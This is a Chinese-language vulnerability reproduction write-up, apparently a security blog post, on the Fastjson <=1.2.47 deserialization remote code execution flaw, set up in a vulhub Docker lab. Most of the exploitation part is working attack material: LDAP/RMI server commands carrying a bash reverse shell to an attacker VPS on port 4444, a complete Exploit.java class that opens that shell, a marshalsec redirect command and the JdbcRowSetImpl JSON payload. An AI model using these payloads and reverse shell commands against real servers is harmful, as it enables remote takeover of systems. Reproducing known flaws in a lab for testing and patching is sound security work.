1. 程式人生 > >【漏洞復現】Fastjson <=1.2.47遠端命令執行

【漏洞復現】Fastjson <=1.2.47遠端命令執行

 

0x01 漏洞概述

漏洞描述

Fastjson是一款開源JSON解析庫,它可以解析JSON格式的字串,支援將Java Bean序列化為JSON字串,也可以從JSON字串反序列化到JavaBean。 Fastjson存在遠端程式碼執行漏洞,當應用或系統使用 Fastjson 對由使用者可控的 JSON 字串資料進行解析時,將可能導致遠端程式碼執行的危害。 此漏洞為 17 年 Fastjson 1.2.24 版本反序列化漏洞的延伸利用,且無需依賴 autotype 的開啟,這意味著預設配置下的 Fastjson 即會受到漏洞影響。

影響版本

Fastjson <= 1.2.47  

0x02 環境準備

直接使用vulhub中的docker環境進行部署
cd /vulhub/fastjson/1.2.47-rce
docker-compose up -d
  部署好後訪問http://ip:8090,訪問顯示如下即搭建成功

0x03 測試及利用方法

測試方法

方法一:使用工具FastjsonScanner(內建多個payload)

工具下載地址:前往土司下載
如下圖所示,填寫待測試目標url、dnslog地址、請求包,點選scan 結束後,對比scan result和dnslog記錄。Dnslog中有test6記錄,說明存在漏洞,序號為6的payload可用。

方法二:使用工具fastjson_rce_tool.jar

工具下載地址:https://github.com/wyzxxz/fastjson_rce_tool

公網啟動LDAP或者RMI服務

 
Usage:
RMI: java -cp fastjson_tool.jar fastjson.HRMIServer your_vps_ip 80 "curl  xx.dnslog.cn"
LDAP: java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip 80 "curl  xx.dnslog.cn"
  關於command列的使用參考下圖: LDAP如下: VPS中開啟LDAP服務,並預執行命令curl xxx.dnslog.cn  
java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip 80 "curl xx.dnslog.cn"
  將payload複製到body中併發送 VPS中顯示有連線資訊併發送完命令 Dnslog檢視到記錄,說明命令執行成功

利用方法

方法一:使用fastjson_rce_tool.jar

開啟LDAP服務監聽,並設定預執行命令(反彈shell)  
java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip 80 "bash=/bin/bash -i  >& /dev/tcp/your_vps_ip/4444 0>&1"
  Burp傳送exp 成功反彈shell   備註:RMI同理。把LDAP替換為RMI即可(筆者使用rmi不能穩定復現)

方法二:使用marshalsec-0.0.3-SNAPSHOT-all.jar + Exploit.java

下載地址:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
Exploit.java程式碼如下(反彈shell)
public class Exploit{
    public Exploit() {}
 
 
    static
    {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"/bin/bash","-c", "/bin/bash -i >& /dev/tcp/your_vps_ip/4444 0>&1"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
 
    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}
javac將Exploit.java編譯為Exploit.class檔案(注意:javac版本最好與目標伺服器接近,否則目標伺服器無法解析class檔案,會報錯) Python開啟web伺服器,將exploit.class放在根目錄 marshalsec-0.0.3-SNAPSHOT-all.jar開啟LDAP並轉發至web伺服器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  http://your_vps_ip/#Exploit 9999
  Burp傳送exp
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your_vps_ip:9999/Exploit","autoCommit":true}}
  成功反彈shell   備註:RMI同理。把LDAP替換為RMI即可(筆者使用rmi不能穩定復現)

0x04 修復建議

使用最新版fastjson,https://github.com/alibaba/fastjson &nbs